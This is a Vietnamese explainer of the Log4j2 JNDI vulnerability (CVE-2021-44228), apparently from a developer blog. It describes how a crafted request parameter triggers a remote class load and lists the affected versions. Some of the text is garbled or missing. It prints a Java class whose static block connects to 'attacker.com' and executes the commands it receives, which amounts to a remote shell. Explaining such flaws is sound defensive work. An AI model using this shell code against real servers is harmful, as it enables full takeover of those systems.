Hiểu rõ về lỗ hổng của Apache Log4j2 (CVE-2021-44228)
Hiểu rõ về lỗ hổng của Apache Log4j2 (CVE-2021-44228)
chain of responsibility design patternAppenderlogger.info("Hello: {}", param)StrSubstitutor.resolveVariableInterpolator.
Lớp Interpolator sẽ tìm kiếm qua nhiều giao thức, trong đó có giao thức JNDI để lấy ra giá trị của biến, và thế là bùm. Kẻ tấn công sẽ tạo ra 1 lớp thế này:
public class Log4jShell {
static {
try {
Socket socket = new Socket("attacker.com", 1234);
Scanner scanner = new Scanner(socket.getInputStream());
while(true) {
String command = scanner.nextLine();
ProcessBuilder pb = new ProcessBuilder(command);
pb.start();
}
} catch (Exception e) {}
}
}
https://web_site_cua_chung_ta/hello?name=, và cùng với câu lệnh logger ở trên. Lớp Interpolator sẽ lấy giá trị của biến bằng cách lấy lớp Log4jShell.class về, và thế là toang, kẻ tấn công sẽ có hẳn 1 cái terminal xịn sò trên server của chúng ta và muốn làm gì thì làm.
2.0 <= log4j-core <= 2.14.1.
Còn ưu điểm là nó cũng cho thấy được Java nó phổ biến và được sử dụng rộng rãi đến mức nào. Thế nên anh em cứ tự tin khi lựa chọn Java để làm ngôn ngữ lập trình backend cho mình và cho tổ chức của mình nhé.
https://www.lunasec.io/docs/blog/log4j-zero-day/#how-you-can-prevent-future-attacks
